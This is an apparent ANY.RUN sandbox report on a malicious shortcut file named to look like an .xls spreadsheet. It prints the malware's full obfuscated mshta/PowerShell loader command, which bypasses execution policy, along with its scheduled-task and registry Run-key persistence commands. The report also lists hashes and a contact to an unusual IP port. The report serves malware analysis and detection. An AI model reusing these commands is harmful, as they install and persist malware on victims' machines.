File name:

20250411_96412.xls.lnk

Full analysis: https://app.any.run/tasks/0758b707-219d-496c-8c42-02ad2ab3014e
Verdict: Malicious activity
Analysis date: April 17, 2025, 07:47:04
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Unicoded, MachineID desktop-6ko8d2u, EnableTargetMetadata KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Wed Jun 5 09:54:26 2024, atime=Wed Jun 5 09:54:26 2024, mtime=Wed Jun 5 09:54:26 2024, length=43520, window=normal, IDListSize 0x013b, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\mshta.exe"
MD5:

E1C239C743A5F88EB22570D38C48B68A

SHA1:

2B08D69A1BF76557A950BFBDC41D9829819D17B5

SHA256:

B9547D6A4C20661D8C37FCDD7A82539F4B56A7F7D9228A57354E197936BB1136

SSDEEP:

96:8FfFufexHwrC32EV8hhGQM31ezyCzDMo/8NlSdT3Cta3PVYrqpOC6jc054TTmgxM:8FNhxHwW3vykMmOMiMOeWVYGONcC4v0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy (Bypass)

      • mshta.exe (PID: 7360)
      • powershell.exe (PID: 7428)
      • powershell.exe (PID: 7728)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7428)
      • powershell.exe (PID: 7728)
      • powershell.exe (PID: 7208)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 8092)

    • Changes the autorun value in the registry

      • reg.exe (PID: 8168)

  • SUSPICIOUS

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 7428)

    • Manipulates environment variables

      • powershell.exe (PID: 7428)

    • The process executes Powershell scripts

      • mshta.exe (PID: 7360)
      • powershell.exe (PID: 7428)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7360)
      • powershell.exe (PID: 7428)
      • powershell.exe (PID: 7728)

    • Application launched itself

      • powershell.exe (PID: 7428)
      • powershell.exe (PID: 7728)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 7728)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 7728)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 7728)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 7728)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 7728)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 8144)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 7728)

    • Connects to unusual port

      • powershell.exe (PID: 7728)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7208)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7360)

    • Returns hidden items found within a container (POWERSHELL)

      • powershell.exe (PID: 7428)

    • Creates files in the program directory

      • powershell.exe (PID: 7428)
      • powershell.exe (PID: 7728)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7428)
      • powershell.exe (PID: 7208)

    • Disables trace logs

      • powershell.exe (PID: 7728)
      • powershell.exe (PID: 7208)

    • Checks proxy server information

      • powershell.exe (PID: 7728)
      • powershell.exe (PID: 7208)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 7728)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 7728)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, TargetMetadata
FileAttributes: Archive
CreateDate: 2024:06:05 09:54:26+00:00
AccessDate: 2024:06:05 09:54:26+00:00
ModifyDate: 2024:06:05 09:54:26+00:00
TargetFileSize: 43520
IconIndex: (none)
RunWindow: Normal
HotKey: (none)
TargetFileDOSName: mshta.exe
DriveType: Fixed Disk
DriveSerialNumber: 8AA7-818A
VolumeLabel: -
LocalBasePath: C:\Windows\System32\mshta.exe
RelativePath: ..\..\..\Windows\System32\mshta.exe
CommandLineArguments: javascript:g="c:\\prog"+"ramdata\\";m=" -Encod"+"ing Byte;sc ";a="rshell -ep bypa"+"ss ";p="$w ([byte[]]($f | select -Skip 0x0902)) -Force";s="a=new Activ"+"eXObject('WScr"+"ipt.Shell');a.Run(c,0,true);close();";c="powe"+a+"-c $t=0x1952;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -Expan"+"dProperty Name;if($k.c"+"ount -eq 0){$k=Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t};};$w='"+g+"h.ps1';$f=gc $k"+m+p+m+g+"41116 0;"+"powe"+a+"-f $w;";eval(s);
IconFileName: .xls
MachineID: desktop-6ko8d2u
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
11
Malicious processes
3
Suspicious processes
2

Behavior graph

Click at the process to see the details
start mshta.exe no specs powershell.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe no specs powershell.exe cmd.exe no specs schtasks.exe no specs cmd.exe no specs reg.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
7208"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c " Invoke-Expression (Get-Content C:\\ProgramData\\AN9385.tmp);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7360"C:\Windows\System32\mshta.exe" javascript:g="c:\\prog"+"ramdata\\";m=" -Encod"+"ing Byte;sc ";a="rshell -ep bypa"+"ss ";p="$w ([byte[]]($f | select -Skip 0x0902)) -Force";s="a=new Activ"+"eXObject('WScr"+"ipt.Shell');a.Run(c,0,true);close();";c="powe"+a+"-c $t=0x1952;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -Expan"+"dProperty Name;if($k.c"+"ount -eq 0){$k=Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t};};$w='"+g+"h.ps1';$f=gc $k"+m+p+m+g+"41116 0;"+"powe"+a+"-f $w;";eval(s);C:\Windows\System32\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
7428"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c $t=0x1952;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\*\*.lnk | where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f | select -Skip 0x0902)) -Force -Encoding Byte;sc c:\programdata\41116 0;powershell -ep bypass -f $w;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7436\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7592C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7624"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7728"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -f c:\programdata\h.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
8092"C:\WINDOWS\system32\cmd.exe" /c "schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
8116schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /fC:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
8144"C:\WINDOWS\system32\cmd.exe" /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windows\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
Total events
15 529
Read events
15 528
Write events
1
Delete events
0

Modification events

(PID) Process:(8168) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:GUpdate2
Value:
c:\\windows\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp
Executable files
0
Suspicious files
4
Text files
9
Unknown types
0

Dropped files

PID
Process
Filename
Type
7208powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qak13mxc.y2j.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7728powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3d4ti1r2.1az.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7428powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_imrhn1wz.40h.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7428powershell.exeC:\ProgramData\41116text
MD5:21438EF4B9AD4FC266B6129A2F60DE29
SHA256:13BF7B3039C63BF5A50491FA3CFD8EB4E699D1BA1436315AEF9CBE5711530354
7728powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_irlbr50b.53w.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7428powershell.exeC:\ProgramData\h.ps1text
MD5:572CD80A96960B052BCCC8B81778F6E9
SHA256:B34BE3A023AAD6036E89157A293035ADBA7E56E9AE3F7CC5241052329646DB0B
7428powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4nn4sype.l5g.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7728powershell.exeC:\ProgramData\26545.tmpbinary
MD5:A5BCB34DF5E49F41CFCD9440509EBEEF
SHA256:7C650C3ED8C2DF4F441C77CC763618C0D073B5FD8067D3E08E71EE055443E8C7
7728powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:C904B83F3EB6B36C24B175843EAE2F18
SHA256:AE9C3B418FC314078AEA3B8FE77670BDBD72E127D1DAE886D031A73C2074B64F
7208powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:508E6E793D083FAEF04E59CE08A8DB2D
SHA256:BD488542FA30FC66ED69AB7606CD80B68C47CFC4425A2DDDA4CA030103CC45D0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
25
DNS requests
18
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.9:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6192
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6192
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.9:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6544
svchost.exe
20.190.159.128:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
7728
powershell.exe
64.20.59.148:8855
—
IS-AS-1
US
unknown
7728
powershell.exe
162.125.66.18:443
www.dropbox.com
DROPBOX
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
google.com
  • 172.217.18.14
whitelisted
crl.microsoft.com
  • 2.16.164.9
  • 2.16.164.34
  • 2.16.164.18
  • 2.16.164.32
  • 2.16.164.16
  • 2.16.164.48
  • 2.16.164.40
  • 2.16.164.65
  • 2.16.164.19
whitelisted
login.live.com
  • 20.190.159.128
  • 40.126.31.71
  • 20.190.159.130
  • 40.126.31.128
  • 40.126.31.3
  • 20.190.159.4
  • 40.126.31.69
  • 40.126.31.67
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
www.dropbox.com
  • 162.125.66.18
whitelisted
uc44779993e0f98db4a9a3a8a03c.dl.dropboxusercontent.com
  • 162.125.66.15
whitelisted
www.googleapis.com
  • 142.250.186.42
  • 216.58.206.42
  • 142.250.185.106
  • 142.250.74.202
  • 142.250.185.170
  • 142.250.181.234
  • 142.250.186.74
  • 172.217.18.10
  • 142.250.185.74
  • 216.58.206.74
  • 142.250.185.202
  • 142.250.185.138
  • 172.217.16.138
  • 172.217.16.202
  • 142.250.185.234
  • 216.58.212.138
whitelisted
drive.google.com
  • 142.250.185.206
whitelisted

Threats

PID
Process
Class
Message
7728
powershell.exe
Potential Corporate Privacy Violation
ET INFO Dropbox.com Offsite File Backup in Use
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
20250411_96412.xls.lnk